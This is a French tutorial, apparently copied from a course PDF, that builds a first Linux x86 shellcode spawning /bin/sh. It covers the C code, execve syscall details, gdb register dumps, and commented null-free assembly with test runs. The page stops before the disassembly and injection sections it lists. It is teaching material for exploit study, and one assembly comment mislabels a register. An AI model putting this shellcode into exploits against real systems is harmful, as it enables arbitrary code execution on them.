1er shellcode
Pour créer notre shellcode, nous allons suivre les différentes étapes déjà explicitées dans le document précédent
« BytecodeDefrichage.pdf ».
Sommaire
a. Le shellcode écrit en langage C ................................................................................................................................. 2
b. Prototype et numéro des appels systèmes utiles ..................................................................................................... 3
c. Code assembleur & Test du programme compilé .................................................................................................... 5
d. Desassemblage & Création du shellcode .................................................................................................................. 6
e. Test d’exécution du shellcode par un programme tiers ........................................................................................... 7
a. Le shellcode écrit en langage C
Le code C :
flo@kali:~$ cat shell.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char * param[] = {"/bin/sh", NULL};
execve(param[0], param, NULL);
return 0;
}
Lire le man de la fonction « execve ».
Exceptionnellement, son prototype sera expliqué dans la partie suivante, car « execve » est déjà un appel système.
On compile et on teste le programme :
flo@kali:~$ gcc -fno-stack-protector shell.c -o shell --static
$ whoami
flo
$ pwd
/home/flo
$
Remarque : execve est un véritable appel système, contrairement aux autres fonctions de la famille exec(), qui sont
en réalité des fonctions de bibliothèque GlibC construites autour de execve().
b. Prototype et numéro des appels systèmes utiles
Numéro de l’appel système execve :
flo@kali:~$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
Prototype de l’appel système execve :
flo@kali:~$ strace ./shell | grep execve
execve("./shell", ["./shell"], [/* 29 vars */]) = 0 // Exécution du binaire ./shell
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0 // Exécution du script « /bin/sh »
Extrait de son man :
NAME
execve - execute program
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
(En français : http://manpagesfr.free.fr/man/man2/execve.2.html )
L’appel système execve exécute le programme pointé par filename, qui est soit un binaire
exécutable, soit un script.
Il utilise 3 arguments :
Le 1er argument « char *filename », est l’adresse du programme à exécuter.
Le 2ème argument « char *argv[] » est un array d’arguments de type strings, passé au
nouveau programme. Par convention, le premier argument doit être le filename associé au
file exécuté.
Le 3ème argument « char *envp[] » ne nous sera pas utile ici. C’est un array de strings
passé au nouveau programme comme environnement (variable d’environnement PATH, etc.).
argv ainsi que envp doivent se terminer par un pointeur NULL.
Les arguments et l'environnement sont accessibles par le nouveau programme dans sa fonction
principale, lorsqu'elle est définie comme : int main(int argc, char *argv[], char *envp[]).
En cas de réussite, execve() ne revient pas à l'appelant, et les segments de texte, de données
data » et « bss »), ainsi que la pile du processus appelant sont remplacés par ceux du
programme chargé.
En cas d'échec il renvoie -1 et errno contient le code d'erreur.
Voyons tout cela avec gdb :
ATTENTION : Ce qui nous intéresse est le code assembleur de l’appel système execve, et non celui de la fonction
wrapper execve ! Nous exécuterons donc le programme jusqu’à l’interruption « int $0x80 » de execve, et non
jusqu’à « call 0x804f770 <execve> » du main.
[-------------------------------------code-------------------------------------]
=> 0x804f782 <execve+18>: int $0x80
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x80aafe8 ("/bin/sh")
ECX: 0xbffff4f8 --> 0x80aafe8 ("/bin/sh")
EDX: 0x0
EAX contient le numéro de l’appel système « 0xb » i.e. « 11 »
EBX contient le premier argument de execve, soit « addr /bin/sh »
ECX contient l’adresse vers l’array des arguments { addr /bin/sh , NULL},
EDX contient NULL.
Notre code assembleur va donc :
1) Ecrire la chaîne « /bin/sh » en mémoire, puis récupérer son adresse grâce à l’astuce « jmp/call ».
2) Construire l’array des arguments, dans la pile.
3) Remplir les registres EAX, EBX, ECX, EDX comme indiqués ci-dessus.
On souhaite arriver au schéma suivant :
Les deux liens ci-dessus indiquent des schémas différents :
http://www.cgsecurity.org/Articles/SecProg/Art2/index-fr.html
http://gits.hydraze.org/article-5-les-shellcodes.html#p2ii
http://www.bases-hacking.org/afficher-shell.html
c. Code assembleur & Test du programme compilé
flo@kali:~$ cat shellAsm.s
.text # Directive assembeur pour décrire le segment ".text".
.global _start # Directive assembleur rendre le symbole "_start" visible pour l'éditeur de lien
_start :
/* Les registres utilisés sont mis à zéro (en évitant les 0). */
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx # EDX : 0
pushl %edx # « 0 » pushé dans la pile
/* Avant d'exécuter "hackingCode", on empile le pointeur vers la chaine "/bin/sh" */
jmp goToCall
hackingCode:
movl (%esp),%ebx # EBX : addr de "/bin/sh"
movl %esp,%edx # ECX : addr addr de "/bin/sh"
movb $0xb,%al # EAX : 11
int $0x80 # Appel de execve
exit :
/* Les registres utilisés sont mis à zéro (en évitant les 0). */
xorl %eax,%eax
xorl %ebx,%ebx
/* On a initialise le registre EAX (EBX déjà a 0) */
movb $0x1,%al
int $0x80 # Appel de _exit
goToCall:
call hackingCode # « addr de "/bin/sh" » pushé dans la pile
.string "/bin/sh"
Test de notre code assembleur :
flo@kali:~$ as shellAsm.s -o shellAsm.o
flo@kali:~$ ld shellAsm.o -o shellAsm
flo@kali:~$ ./shellAsm
$ whoami
flo
$ pwd
/home/flo
$ exit
flo@kali:~$
Remarque importante : La chaîne "/bin/sh" est écrite à la suite donc au même endroit mémoire que les
instructions du shellcode.
1 / 7 100%
La catégorie de ce document est-elle correcte?
Merci pour votre participation!

Faire une suggestion

Avez-vous trouvé des erreurs dans linterface ou les textes ? Ou savez-vous comment améliorer linterface utilisateur de StudyLib ? Nhésitez pas à envoyer vos suggestions. Cest très important pour nous !